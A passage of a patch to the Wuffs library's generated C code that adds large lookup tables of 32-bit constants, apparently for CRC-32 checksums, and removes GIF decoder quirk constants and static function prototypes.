385139947u, 796522542u, 939715693u, ++ 3887801276u, 4039129087u, 3377269562u, 3728088953u, 3126293168u, 2905368307u, 2493602358u, 2212122229u, ++ 4037264341u, 3889747862u, 3730172755u, 3375300368u, 2907673305u, 3124004506u, 2209987167u, 2495786524u, ++ 1266377165u, 1543533966u, 1703758155u, 1928748296u, 379007169u, 32253058u, 945887303u, 790236164u, ++ 1716846671u, 1898845196u, 1218652361u, 1608006794u, 1002000707u, 750929152u, 357530053u, 36990342u, ++ 3717046871u, 3405166100u, 4084959953u, 3825245842u, 2153902939u, 2535122712u, 2929187805u, 3119304606u, ++ 3398779454u, 3723384445u, 3831720632u, 4078468859u, 2541294386u, 2147616625u, 3113171892u, 2935238647u, ++ 1900929062u, 1714877541u, 1606142112u, 1220599011u, 748794154u, 1004184937u, 39295404u, 355241455u, ++ 3835986668u, 4091516591u, 3394415210u, 3710500393u, 3108557792u, 2922629027u, 2545875814u, 2160455461u, ++ 1601970420u, 1208431799u, 1904871538u, 1727077425u, 43020792u, 367748539u, 744905086u, 991776061u, ++ 1214562461u, 1595921630u, 1720903707u, 1911159896u, 361271697u, 49513938u, 998160663u, 738569556u, ++ 4089209477u, 3838277318u, 3712633347u, 3392233024u, 2924491657u, 3106613194u, 2158369551u, 2547846988u, ++ 3100050248u, 2948339467u, 2519804878u, 2169126797u, 3844821572u, 4065347079u, 3420289730u, 3701894785u, ++ 52404560u, 342144275u, 770279894u, 982687125u, 1593045084u, 1233708063u, 1879431386u, 1736363161u, ++ 336019769u, 58479994u, 988899775u, 764050940u, 1240141877u, 1586496630u, 1729968307u, 1885744368u, ++ 2950685473u, 3097818978u, 2166999975u, 2522013668u, 4063474221u, 3846743662u, 3703937707u, 3418263272u, ++ 976650731u, 760059304u, 348170605u, 62635310u, 1742393575u, 1889649828u, 1227683937u, 1582820386u, ++ 2179867635u, 2526361520u, 2937588597u, 3093503798u, 3691148031u, 3413731004u, 4076100217u, 3851374138u, ++ 2532754330u, 2173556697u, 3087067932u, 2944139103u, 3407516310u, 3697379029u, 3857496592u, 4070026835u, ++ 758014338u, 978679233u, 64506116u, 346250567u, 1891774606u, 1740186829u, 1580472328u, 1229917259u, ++ }, { ++ 0u, 4022496062u, 83218493u, 3946298115u, 166436986u, 3861498692u, 220098631u, 3806075769u, ++ 332873972u, 4229245898u, 388141257u, 4175494135u, 440197262u, 4127099824u, 516501683u, 4044053389u, ++ 665747944u, 3362581206u, 593187285u, 3432594155u, 776282514u, 3246869164u, 716239279u, 3312622225u, ++ 880394524u, 3686509090u, 814485793u, 3746462239u, 1033003366u, 3528460888u, 963096923u, 3601193573u, ++ 1331495888u, 2694801646u, 1269355501u, 2758457555u, 1186374570u, 2843003028u, 1111716759u, 2910918825u, ++ 1552565028u, 3007850522u, 1484755737u, 3082680359u, 1432478558u, 3131279456u, 1368666979u, 3193329757u, ++ 1760789048u, 2268195078u, 1812353541u, 2210675003u, 1628971586u, 2396670332u, 1710092927u, 2318375233u, ++ 2066006732u, 2498144754u, 2144408305u, 2417195471u, 1926193846u, 2634877320u, 1983558283u, 2583222709u, ++ 2662991776u, 1903717534u, 2588923805u, 1972223139u, 2538711002u, 2022952164u, 2477029351u, 2087066841u, ++ 2372749140u, 1655647338u, 2308478825u, 1717238871u, 2223433518u, 1799654416u, 2155034387u, 1873894445u, ++ 3105130056u, 1456926070u, 3185661557u, 1378041163u, 2969511474u, 1597852940u, 3020617231u, 1539874097u, ++ 2864957116u, 1157737858u, 2922780289u, 1106542015u, 2737333958u, 1290407416u, 2816325371u, 1210047941u, ++ 3521578096u, 1042640718u, 3574781005u, 986759027u, 3624707082u, 936300340u, 3707335735u, 859512585u, ++ 3257943172u, 770846650u, 3334837433u, 688390023u, 3420185854u, 605654976u, 3475911875u, 552361981u, ++ 4132013464u, 428600998u, 4072428965u, 494812827u, 4288816610u, 274747100u, 4216845791u, 345349857u, ++ 3852387692u, 173846098u, 3781891409u, 245988975u, 3967116566u, 62328360u, 3900749099u, 121822741u, ++ 3859089665u, 164061759u, 3807435068u, 221426178u, 4025395579u, 2933317u, 3944446278u, 81334904u, ++ 4124199413u, 437265099u, 4045904328u, 518386422u, 4231653775u, 335250097u, 4174133682u, 386814604u, ++ 3249244393u, 778691543u, 3311294676u, 714879978u, 3359647891u, 662848429u, 3434477742u, 595039120u, ++ 3531393053u, 1035903779u, 3599308832u, 961245982u, 3684132967u, 877986649u, 3747788890u, 815846244u, ++ 2841119441u, 1184522735u, 2913852140u, 1114616274u, 2696129195u, 1332855189u, 2756082326u, 1266946472u, ++ 3129952805u, 1431118107u, 3195705880u, 1371074854u, 3009735263u, 1554415969u, 3079748194u, 1481855324u, ++ 2398522169u, 1630855175u, 2315475716u, 1707159610u, 2266835779u, 1759461501u, 2213084030u, 1814728768u, ++ 2636237773u, 1927520499u, 2580814832u, 1981182158u, 2496293815u, 2064121993u, 2420095882u, 2147340468u, ++ 2025787041u, 2541577631u, 2085281436u, 2475210146u, 1901375195u, 2660681189u, 1973518054u, 2590184920u, ++ 1801997909u, 2225743211u, 1872600680u, 2153772374u, 1652813359u, 2369881361u, 1719025170u, 2310296876u, ++ 1594986313u, 2966676599u, 1541693300u, 3022402634u, 1459236659u, 3107472397u, 1376780046u, 3184366640u, ++ 1288097725u, 2734990467u, 1211309952u, 2817619134u, 1160605639u, 2867791097u, 1104723962u, 2920993988u, ++ 937561457u, 3626001999u, 857201996u, 3704993394u, 1040821515u, 3519792693u, 989625654u, 3577615880u, ++ 607473029u, 3421972155u, 549494200u, 3473077894u, 769584639u, 3256649409u, 690699714u, 3337180924u, ++ 273452185u, 4287555495u, 347692196u, 4219156378u, 430386403u, 4133832669u, 491977950u, 4069562336u, ++ 60542061u, 3965298515u, 124656720u, 3903616878u, 175139863u, 3853649705u, 243645482u, 3779581716u, ++ }, { ++ 0u, 3247366080u, 1483520449u, 2581751297u, 2967040898u, 1901571138u, 3904227907u, 691737987u, ++ 3133399365u, 2068659845u, 3803142276u, 589399876u, 169513671u, 3415493895u, 1383475974u, 2482566342u, ++ 2935407819u, 1870142219u, 4137319690u, 924099274u, 506443593u, 3751897225u, 1178799752u, 2278412616u, ++ 339027342u, 3585866318u, 1280941135u, 2379694991u, 2766951948u, 1700956620u, 4236308429u, 1024339981u, ++ 2258407383u, 1192382487u, 3740284438u, 528411094u, 910556245u, 4157285269u, 1848198548u, 2946996820u, ++ 1012887186u, 4258378066u, 1681119059u, 2780629139u, 2357599504u, 1292419792u, 3572147409u, 358906641u, ++ 678054684u, 3924071644u, 1879503581u, 2978491677u, 2561882270u, 1497229150u, 3235873119u, 22109855u, ++ 2460592729u, 1395094937u, 3401913240u, 189516888u, 577821147u, 3825075739u, 2048679962u, 3146956762u, ++ 3595049455u, 398902831u, 2384764974u, 1336573934u, 1720805997u, 2803873197u, 1056822188u, 4285729900u, ++ 1821112490u, 2902796138u, 887570795u, 4117339819u, 3696397096u, 500978920u, 2218668777u, 1169222953u, ++ 2025774372u, 3106931428u, 550659301u, 3780950821u, 3362238118u, 166293862u, 2416645991u, 1367722151u, ++ 3262987361u, 66315169u, 2584839584u, 1537170016u, 1923370979u, 3005911075u, 717813282u, 3947244002u, ++ 1356109368u, 2438613496u, 146288633u, 3375820857u, 3759007162u, 562248314u, 3093388411u, 2045739963u, ++ 3927406461u, 731490493u, 2994458300u, 1945440636u, 1523451135u, 2604718911u, 44219710u, 3274466046u, ++ 4263662323u, 1068272947u, 2790189874u, 1740649714u, 1325080945u, 2406874801u, 379033776u, 3608758128u, ++ 1155642294u, 2238671990u, 479005303u, 3708016055u, 4097359924u, 901128180u, 2891217397u, 1843045941u, ++ 2011248031u, 3060787807u, 797805662u, 3993195422u, 3342353949u, 112630237u, 2673147868u, 1591353372u, ++ 3441611994u, 212601626u, 2504944923u, 1421914843u, 2113644376u, 3161815192u, 630660761u, 3826893145u, ++ 3642224980u, 412692116u, 2172340373u, 1089836885u, 1775141590u, 2822790422u, 832715543u, 4029474007u, ++ 1674842129u, 2723860433u, 1001957840u, 4197873168u, 3540870035u, 310623315u, 2338445906u, 1257178514u, ++ 4051548744u, 821257608u, 2836464521u, 1755307081u, 1101318602u, 2150241802u, 432566283u, 3628511179u, ++ 1270766349u, 2318435533u, 332587724u, 3529260300u, 4217841807u, 988411727u, 2735444302u, 1652903566u, ++ 1602977411u, 2651169091u, 132630338u, 3328776322u, 4015131905u, 786223809u, 3074340032u, 1991273216u, ++ 3846741958u, 616972294u, 3173262855u, 2091579847u, 1435626564u, 2485072772u, 234706309u, 3430124101u, ++ 2712218736u, 1613231024u, 4190475697u, 944458353u, 292577266u, 3506339890u, 1226630707u, 2291284467u, ++ 459984181u, 3672380149u, 1124496628u, 2189994804u, 2880683703u, 1782407543u, 4091479926u, 844224694u, ++ 257943739u, 3469817723u, 1462980986u, 2529005242u, 3213269817u, 2114471161u, 3890881272u, 644152632u, ++ 3046902270u, 1947391550u, 3991973951u, 746483711u, 88439420u, 3301680572u, 1563018173u, 2628197501u, ++ 657826727u, 3871046759u, 2136545894u, 3201811878u, 2548879397u, 1449267173u, 3481299428u, 235845156u, ++ 2650161890u, 1551408418u, 3315268387u, 68429027u, 758067552u, 3970035360u, 1967360161u, 3033356129u, ++ 2311284588u, 1213053100u, 3517963949u, 270598509u, 958010606u, 4170500910u, 1635167535u, 2700636911u, ++ 855672361u, 4069415401u, 1802256360u, 2866995240u, 2212099499u, 1113008747u, 3686091882u, 440112042u, ++ }, { ++ 0u, 2611301487u, 3963330207u, 2006897392u, 50740095u, 2560849680u, 4013794784u, 1956178319u, ++ 101480190u, 2645113489u, 3929532513u, 1905435662u, 84561281u, 2662269422u, 3912356638u, 1922342769u, ++ 202960380u, 2545787283u, 3760419683u, 2072395532u, 253679235u, 2495322860u, 3810871324u, 2021655667u, ++ 169122562u, 2444351341u, 3861841309u, 2106214898u, 152215677u, 2461527058u, 3844685538u, 2123133581u, ++ 405920760u, 2207553431u, 4094313831u, 1873742088u, 456646791u, 2157096168u, 4144791064u, 1823027831u, ++ 507358470u, 2241388905u, 4060492697u, 1772322806u, 490444409u, 2258557462u, 4043311334u, 1789215881u, ++ 338245124u, 2408348267u, 4161972379u, 1672996084u, 388959611u, 2357870868u, 4212429796u, 1622269835u, ++ 304431354u, 2306870421u, 4263435877u, 1706791434u, 287538053u, 2324051946u, 4246267162u, 1723705717u, ++ 811841520u, 2881944479u, 3696765295u, 1207788800u, 862293135u, 2831204576u, 3747484176u, 1157324415u, ++ 913293582u, 2915732833u, 3662962577u, 1106318334u, 896137841u, 2932651550u, 3646055662u, 1123494017u, ++ 1014716940u, 2816349795u, 3493905555u, 1273334012u, 1065181555u, 2765630748u, 3544645612u, 1222882179u, ++ 980888818u, 2714919069u, 3595350637u, 1307180546u, 963712909u, 2731826146u, 3578431762u, 1324336509u, ++ 676490248u, 3019317351u, 3295277719u, 1607253752u, 726947703u, 2968591128u, 3345992168u, 1556776327u, ++ 777919222u, 3053147801u, 3261432937u, 1505806342u, 760750473u, 3070062054u, 3244539670u, 1522987897u, ++ 608862708u, 3220163995u, 3362856811u, 1406423812u, 659339915u, 3169449700u, 3413582868u, 1355966587u, ++ 575076106u, 3118709605u, 3464325525u, 1440228858u, 557894773u, 3135602714u, 3447411434u, 1457397381u, ++ 1623683040u, 4217512847u, 2365387135u, 391757072u, 1673614495u, 4167309552u, 2415577600u, 341804655u, ++ 1724586270u, 4251866481u, 2331019137u, 290835438u, 1707942497u, 4268256782u, 2314648830u, 307490961u, ++ 1826587164u, 4152020595u, 2162433155u, 457265388u, 1876539747u, 4101829900u, 2212636668u, 407333779u, ++ 1792275682u, 4051089549u, 2263378557u, 491595282u, 1775619997u, 4067460082u, 2246988034u, 508239213u, ++ 2029433880u, 3813931127u, 2496473735u, 258500328u, 2079362919u, 3763716872u, 2546668024u, 208559511u, ++ 2130363110u, 3848244873u, 2462145657u, 157552662u, 2113730969u, 3864638966u, 2445764358u, 174205801u, ++ 1961777636u, 4014675339u, 2564147067u, 57707284u, 2011718299u, 3964481268u, 2614361092u, 7778411u, ++ 1927425818u, 3913769845u, 2665066885u, 92077546u, 1910772837u, 3930150922u, 2648673018u, 108709525u, ++ 1352980496u, 3405878399u, 3164554895u, 658115296u, 1403183983u, 3355946752u, 3214507504u, 607924639u, ++ 1453895406u, 3440239233u, 3130208369u, 557218846u, 1437504913u, 3456883198u, 3113552654u, 573589345u, ++ 1555838444u, 3340335491u, 2961681267u, 723707676u, 1606028947u, 3290383100u, 3011612684u, 673504355u, ++ 1521500946u, 3239382909u, 3062619533u, 758026722u, 1505130605u, 3256038402u, 3045975794u, 774417053u, ++ 1217725416u, 3543158663u, 2762906999u, 1057739032u, 1267939479u, 3493229816u, 2812847624u, 1007544935u, ++ 1318679830u, 3577493881u, 2728586121u, 956803046u, 1302285929u, 3594125830u, 2711933174u, 973184153u, ++ 1150152212u, 3743982203u, 2830528651u, 856898788u, 1200346475u, 3694041348u, 2880457716u, 806684571u, ++ 1115789546u, 3643069573u, 2931426933u, 891243034u, 1099408277u, 3659722746u, 2914794762u, 907637093u, ++ }, { ++ 0u, 3717650821u, 1616688459u, 3184159950u, 3233376918u, 489665299u, 2699419613u, 2104690264u, ++ 1510200173u, 2274691816u, 979330598u, 3888758691u, 2595928571u, 1194090622u, 4209380528u, 661706037u, ++ 3020400346u, 1771143007u, 3562738577u, 164481556u, 1958661196u, 2837976521u, 350386439u, 3379863682u, ++ 3993269687u, 865250354u, 2388181244u, 1406015865u, 784146209u, 4079732388u, 1323412074u, 2474079215u, ++ 3011398645u, 1860735600u, 3542286014u, 246687547u, 1942430051u, 2924607718u, 328963112u, 3456978349u, ++ 3917322392u, 887832861u, 2300653011u, 1421341782u, 700772878u, 4099025803u, 1234716485u, 2483986112u, ++ 125431087u, 3673109674u, 1730500708u, 3132326369u, 3351283641u, 441867836u, 2812031730u, 2047535991u, ++ 1568292418u, 2163009479u, 1025936137u, 3769651852u, 2646824148u, 1079348561u, 4255113631u, 537475098u, ++ 3180171691u, 1612400686u, 3721471200u, 4717925u, 2100624189u, 2694980280u, 493375094u, 3237910515u, ++ 3884860102u, 974691139u, 2278750093u, 1514417672u, 657926224u, 4204917205u, 1198234907u, 2600289438u, ++ 160053105u, 3558665972u, 1775665722u, 3024116671u, 3375586791u, 346391650u, 2842683564u, 1962488105u, ++ 1401545756u, 2384412057u, 869618007u, 3997403346u, 2469432970u, 1319524111u, 4083956673u, 788193860u, ++ 250862174u, 3546612699u, 1856990997u, 3006903952u, 3461001416u, 333211981u, 2920678787u, 1937824774u, ++ 1425017139u, 2305216694u, 883735672u, 3912918525u, 2487837605u, 1239398944u, 4095071982u, 696455019u, ++ 3136584836u, 1734518017u, 3668494799u, 121507914u, 2051872274u, 2816200599u, 437363545u, 3347544796u, ++ 3774328809u, 1029797484u, 2158697122u, 1564328743u, 542033279u, 4258798842u, 1074950196u, 2642717105u, ++ 2691310871u, 2113731730u, 3224801372u, 497043929u, 1624461185u, 3175454212u, 9435850u, 3709412175u, ++ 4201248378u, 671035391u, 2587181873u, 1201904308u, 986750188u, 3880142185u, 1519135143u, 2266689570u, ++ 342721485u, 3388693064u, 1949382278u, 2846355203u, 3570723163u, 155332830u, 3028835344u, 1763607957u, ++ 1315852448u, 2482538789u, 775087595u, 4087626862u, 2396469814u, 1396827059u, 4002123645u, 857560824u, ++ 320106210u, 3464673127u, 1934154665u, 2933785132u, 3551331444u, 238804465u, 3018961215u, 1852270778u, ++ 1226292623u, 2491507722u, 692783300u, 4108177729u, 2309936921u, 1412959900u, 3924976210u, 879016919u, ++ 2803091512u, 2055541181u, 3343875443u, 450471158u, 1739236014u, 3124525867u, 133568485u, 3663777376u, ++ 4245691221u, 545702608u, 2639048222u, 1088059291u, 1034514883u, 3762268230u, 1576387720u, 2153979149u, ++ 501724348u, 3228659001u, 2109407735u, 2687359090u, 3713981994u, 13109167u, 3171052385u, 1620357860u, ++ 1206151121u, 2591211092u, 666423962u, 4197321503u, 2271022407u, 1523307714u, 3875649548u, 982999433u, ++ 2850034278u, 1953942499u, 3384583981u, 338329256u, 1767471344u, 3033506165u, 151375291u, 3566408766u, ++ 4091789579u, 779425934u, 2478797888u, 1311354309u, 861580189u, 4006375960u, 1392910038u, 2391852883u, ++ 2929327945u, 1930372812u, 3469036034u, 324244359u, 1847629279u, 3015068762u, 243015828u, 3555391761u, ++ 4103744548u, 688715169u, 2496043375u, 1229996266u, 874727090u, 3920994103u, 1417671673u, 2313759356u, ++ 446585235u, 3339223062u, 2059594968u, 2807313757u, 3660002053u, 129100416u, 3128657486u, 1743609803u, ++ 1084066558u, 2634765179u, 549535669u, 4250396208u, 2149900392u, 1571961325u, 3765982499u, 1039043750u, ++ }, { ++ 0u, 2635063670u, 3782132909u, 2086741467u, 430739227u, 2225303149u, 4173482934u, 1707977408u, ++ 861478454u, 2924937024u, 3526875803u, 1329085421u, 720736557u, 3086643291u, 3415954816u, 1452586230u, ++ 1722956908u, 4223524122u, 2279405761u, 450042295u, 2132718455u, 3792785921u, 2658170842u, 58693292u, ++ 1441473114u, 3370435372u, 3028674295u, 696911745u, 1279765825u, 3511176247u, 2905172460u, 807831706u, ++ 3445913816u, 1349228974u, 738901109u, 2969918723u, 3569940419u, 1237784245u, 900084590u, 2829701656u, ++ 4265436910u, 1664255896u, 525574723u, 2187084597u, 3885099509u, 2057177219u, 117386584u, 2616249390u, ++ 2882946228u, 920233410u, 1253605401u, 3619119471u, 2994391983u, 796207833u, 1393823490u, 3457937012u, ++ 2559531650u, 92322804u, 2044829231u, 3840835417u, 2166609305u, 472659183u, 1615663412u, 4249022530u, ++ 1102706673u, 3702920839u, 2698457948u, 1037619754u, 1477802218u, 3306854812u, 3111894087u, 611605809u, ++ 1927342535u, 4025419953u, 2475568490u, 243387420u, 1800169180u, 4131620778u, 2317525617u, 388842247u, ++ 655084445u, 3120835307u, 3328511792u, 1533734470u, 1051149446u, 2745738736u, 3754524715u, 1120297309u, ++ 340972971u, 2304586973u, 4114354438u, 1748234352u, 234773168u, 2431761350u, 3968900637u, 1906278251u, ++ 2363330345u, 299003487u, 1840466820u, 4038896370u, 2507210802u, 142532932u, 1948239007u, 3910149609u, ++ 3213136159u, 579563625u, 1592415666u, 3286611140u, 2787646980u, 992477042u, 1195825833u, 3662232543u, ++ 3933188933u, 2002801203u, 184645608u, 2517538462u, 4089658462u, 1858919720u, 313391347u, 2409765253u, ++ 3644239219u, 1144605701u, 945318366u, 2773977256u, 3231326824u, 1570095902u, 569697989u, 3170568115u, ++ 2205413346u, 511446676u, 1646078799u, 4279421497u, 2598330617u, 131105167u, 2075239508u, 3871229218u, ++ 2955604436u, 757403810u, 1363424633u, 3427521551u, 2844163791u, 881434553u, 1223211618u, 3588709140u, ++ 3854685070u, 2026779384u, 78583587u, 2577462869u, 4235025557u, 1633861091u, 486774840u, 2148301134u, ++ 3600338360u, 1268198606u, 938871061u, 2868504675u, 3476308643u, 1379640277u, 777684494u, 3008718712u, ++ 1310168890u, 3541595724u, 2943964055u, 846639841u, 1471879201u, 3400857943u, 3067468940u, 735723002u, ++ 2102298892u, 3762382970u, 2619362721u, 19901655u, 1692534295u, 4193118049u, 2240594618u, 411247564u, ++ 681945942u, 3047836192u, 3385552891u, 1422167693u, 822682701u, 2886124859u, 3496468704u, 1298661782u, ++ 469546336u, 2264093718u, 4203901389u, 1738379451u, 38812283u, 2673859341u, 3812556502u, 2117148576u, ++ 3268024339u, 1606809957u, 598006974u, 3198893512u, 3680933640u, 1181316734u, 973624229u, 2802299603u, ++ 4052944421u, 1822222163u, 285065864u, 2381456382u, 3896478014u, 1966106696u, 156323219u, 2489232613u, ++ 2759337087u, 964150537u, 1159127250u, 3625517476u, 3184831332u, 551242258u, 1555722185u, 3249901247u, ++ 2535537225u, 170842943u, 1984954084u, 3946848146u, 2391651666u, 327308324u, 1877176831u, 4075589769u, ++ 263086283u, 2460058045u, 4005602406u, 1942963472u, 369291216u, 2332888742u, 4151061373u, 1784924683u, ++ 1022852861u, 2717425547u, 3717839440u, 1083595558u, 626782694u, 3092517008u, 3291821387u, 1497027645u, ++ 1763466407u, 4094934481u, 2289211402u, 360544636u, 1890636732u, 3988730570u, 2447251217u, 215086695u, ++ 1514488465u, 3343557607u, 3140191804u, 639919946u, 1139395978u, 3739626748u, 2726758695u, 1065936977u, ++ }, { ++ 0u, 3120290792u, 2827399569u, 293431929u, 2323408227u, 864534155u, 586863858u, 2600537882u, ++ 3481914503u, 1987188591u, 1729068310u, 3740575486u, 1173727716u, 4228805132u, 3983743093u, 1418249117u, ++ 1147313999u, 4254680231u, 3974377182u, 1428157750u, 3458136620u, 2011505092u, 1721256893u, 3747844181u, ++ 2347455432u, 839944224u, 594403929u, 2593536433u, 26687147u, 3094146371u, 2836498234u, 283794642u, ++ 2294627998u, 826205558u, 541298447u, 2578994407u, 45702141u, 3141697557u, 2856315500u, 331624836u, ++ 1196225049u, 4273416689u, 4023010184u, 1446090848u, 3442513786u, 1959480466u, 1706436331u, 3696098563u, ++ 3433538001u, 1968994873u, 1679888448u, 3722103720u, 1188807858u, 4280295258u, 3999102243u, 1470541515u, ++ 53374294u, 3134568126u, 2879970503u, 307431215u, 2303854645u, 816436189u, 567589284u, 2553242188u, ++ 3405478781u, 1929420949u, 1652411116u, 3682996484u, 1082596894u, 4185703926u, 3892424591u, 1375368295u, ++ 91404282u, 3163122706u, 2918450795u, 336584067u, 2400113305u, 922028401u, 663249672u, 2658384096u, ++ 2392450098u, 929185754u, 639587747u, 2682555979u, 82149713u, 3172883129u, 2892181696u, 362343208u, ++ 1091578037u, 4176212829u, 3918960932u, 1349337804u, 3412872662u, 1922537022u, 1676344391u, 3658557359u, ++ 1111377379u, 4224032267u, 3937989746u, 1396912026u, 3359776896u, 1908013928u, 1623494929u, 3644803833u, ++ 2377615716u, 877417100u, 623982837u, 2630542109u, 130804743u, 3190831087u, 2941083030u, 381060734u, ++ 106748588u, 3215393092u, 2933549885u, 388083925u, 2350956495u, 903570471u, 614862430u, 2640172470u, ++ 3386185259u, 1882115523u, 1632872378u, 3634920530u, 1135178568u, 4199721120u, 3945775833u, 1389631793u, ++ 1317531835u, 4152109907u, 3858841898u, 1610259138u, 3304822232u, 2097172016u, 1820140617u, 3582394273u, ++ 2165193788u, 955639764u, 696815021u, 2423477829u, 192043359u, 2995356343u, 2750736590u, 437203750u, ++ 182808564u, 3005133852u, 2724453989u, 462947725u, 2157513367u, 962777471u, 673168134u, 2447663342u, ++ 3312231283u, 2090301595u, 1844056802u, 3557935370u, 1326499344u, 4142603768u, 3885397889u, 1584245865u, ++ 3326266917u, 2142836173u, 1858371508u, 3611272284u, 1279175494u, 4123357358u, 3837270743u, 1564721471u, ++ 164299426u, 2955991370u, 2706223923u, 414607579u, 2209834945u, 978107433u, 724686416u, 2462715320u, ++ 2183156074u, 1004243586u, 715579643u, 2472360723u, 140260361u, 2980573153u, 2698675608u, 421617264u, ++ 1302961645u, 4099032581u, 3845074044u, 1557460884u, 3352688782u, 2116952934u, 1867729183u, 3601371895u, ++ 2222754758u, 1032278062u, 754596439u, 2499928511u, 234942117u, 3086693709u, 2793824052u, 528319708u, ++ 1274365761u, 4061043881u, 3816027856u, 1518873912u, 3246989858u, 2020800970u, 1762628531u, 3505670235u, ++ 3223196809u, 2045103969u, 1754834200u, 3512958704u, 1247965674u, 4086934018u, 3806642299u, 1528765331u, ++ 261609486u, 3060532198u, 2802936223u, 518697591u, 2246819181u, 1007707781u, 762121468u, 2492913428u, ++ 213497176u, 3041029808u, 2755593417u, 499441441u, 2261110843u, 1061030867u, 776167850u, 2545465922u, ++ 3274734047u, 2060165687u, 1807140942u, 3528266662u, 1229724860u, 4038575956u, 3788156205u, 1479636677u, ++ 1222322711u, 4045468159u, 3764231046u, 1504067694u, 3265744756u, 2069664924u, 1780612837u, 3554288909u, ++ 2270357136u, 1051278712u, 802445057u, 2519698665u, 221152243u, 3033880603u, 2779263586u, 475261322u, ++ }, { ++ 0u, 2926088593u, 2275419491u, 701019378u, 3560000647u, 2052709654u, 1402038756u, 4261017717u, ++ 1930665807u, 3715829470u, 4105419308u, 1524313021u, 2804077512u, 155861593u, 545453739u, 2397726522u, ++ 3861331614u, 1213181711u, 1636244477u, 3488582252u, 840331801u, 2625561480u, 3048626042u, 467584747u, ++ 2503254481u, 995897408u, 311723186u, 3170637091u, 1090907478u, 4016929991u, 3332753461u, 1758288292u, ++ 390036349u, 3109546732u, 2426363422u, 1056427919u, 3272488954u, 1835443819u, 1152258713u, 3938878216u, ++ 1680663602u, 3393484195u, 3817652561u, 1306808512u, 2954733749u, 510998820u, 935169494u, 2580880455u, ++ 4044899811u, 1601229938u, 1991794816u, 3637571857u, 623446372u, 2336332021u, 2726898695u, 216120726u, ++ 2181814956u, 744704829u, 95158223u, 2881711710u, 1446680107u, 4166125498u, 3516576584u, 2146575065u, ++ 780072698u, 2148951915u, 2849952665u, 129384968u, 4199529085u, 1411853292u, 2112855838u, 3548843663u, ++ 1567451573u, 4077254692u, 3670887638u, 1957027143u, 2304517426u, 657765539u, 251396177u, 2694091200u, ++ 3361327204u, 1714510325u, 1341779207u, 3784408214u, 476611811u, 2986349938u, 2613617024u, 899690513u, ++ 3142211371u, 354600634u, 1021997640u, 2458051545u, 1870338988u, 3239283261u, 3906682575u, 1186180958u, ++ 960597383u, 2536053782u, 3202459876u, 277428597u, 3983589632u, 1125666961u, 1792074851u, 3300423154u, ++ 1246892744u, 3829039961u, 3455203243u, 1671079482u, 2657312335u, 806080478u, 432241452u, 3081497277u, ++ 3748049689u, 1896751752u, 1489409658u, 4138600427u, 190316446u, 2772397583u, 2365053693u, 580864876u, ++ 2893360214u, 35503559u, 735381813u, 2243795108u, 2017747153u, 3593269568u, 4293150130u, 1368183843u, ++ 1560145396u, 4069882981u, 3680356503u, 1966430470u, 2295112051u, 648294626u, 258769936u, 2701399425u, ++ 804156091u, 2173100842u, 2823706584u, 103204425u, 4225711676u, 1438101421u, 2088704863u, 3524758222u, ++ 3134903146u, 347226875u, 1031468553u, 2467456920u, 1860935661u, 3229814396u, 3914054286u, 1193487135u, ++ 3385412645u, 1738661300u, 1315531078u, 3758225623u, 502792354u, 3012596019u, 2589468097u, 875607120u, ++ 1271043721u, 3853125400u, 3429020650u, 1644831355u, 2683558414u, 832261023u, 408158061u, 3057348348u, ++ 953223622u, 2528745559u, 3211865253u, 286899508u, 3974120769u, 1116263632u, 1799381026u, 3307794867u, ++ 2917509143u, 59586950u, 709201268u, 2217549029u, 2043995280u, 3619452161u, 4269064691u, 1344032866u, ++ 3740677976u, 1889445577u, 1498812987u, 4148069290u, 180845535u, 2762992206u, 2372361916u, 588238637u, ++ 1921194766u, 3706423967u, 4112727661u, 1531686908u, 2796705673u, 148555288u, 554857194u, 2407195515u, ++ 26248257u, 2952271312u, 2251333922u, 676868275u, 3584149702u, 2076793175u, 1375858085u, 4234771508u, ++ 2493785488u, 986493953u, 319029491u, 3178008930u, 1083533591u, 4009621638u, 3342158964u, 1767759333u, ++ 3887577823u, 1239362382u, 1612160956u, 3464433197u, 864482904u, 2649647049u, 3022443323u, 441336490u, ++ 1706844275u, 3419730402u, 3793503504u, 1282724993u, 2978819316u, 535149925u, 908921239u, 2554697734u, ++ 380632892u, 3100077741u, 2433735263u, 1063734222u, 3265180603u, 1828069930u, 1161729752u, 3948283721u, ++ 2207997677u, 770953084u, 71007118u, 2857626143u, 1470763626u, 4190274555u, 3490330377u, 2120394392u, ++ 4035494306u, 1591758899u, 1999168705u, 3644880208u, 616140069u, 2328960180u, 2736367686u, 225524183u, ++ }, + }; + +-#define WUFFS_GIF__QUIRKS_BASE 1041635328 +- +-#define WUFFS_GIF__QUIRKS_COUNT 7 +- + // ---------------- Private Initializer Prototypes + + // ---------------- Private Function Prototypes + +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_gif__decoder__do_decode_image_config( +- wuffs_gif__decoder* self, +- wuffs_base__image_config* a_dst, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_gif__decoder__do_tell_me_more( +- wuffs_gif__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__more_information* a_minfo, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_gif__decoder__do_decode_frame_config( +- wuffs_gif__decoder* self, +- wuffs_base__frame_config* a_dst, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_gif__decoder__skip_frame( +- wuffs_gif__decoder* self, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_gif__decoder__do_decode_frame( +- wuffs_gif__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts); +- + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__empty_struct +-wuffs_gif__decoder__reset_gc( +- wuffs_gif__decoder* self); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_gif__decoder__decode_up_to_id_part1( +- wuffs_gif__decoder* self, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_gif__decoder__decode_header( +- wuffs_gif__decoder* self, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_gif__decoder__decode_lsd( +- wuffs_gif__decoder* self, 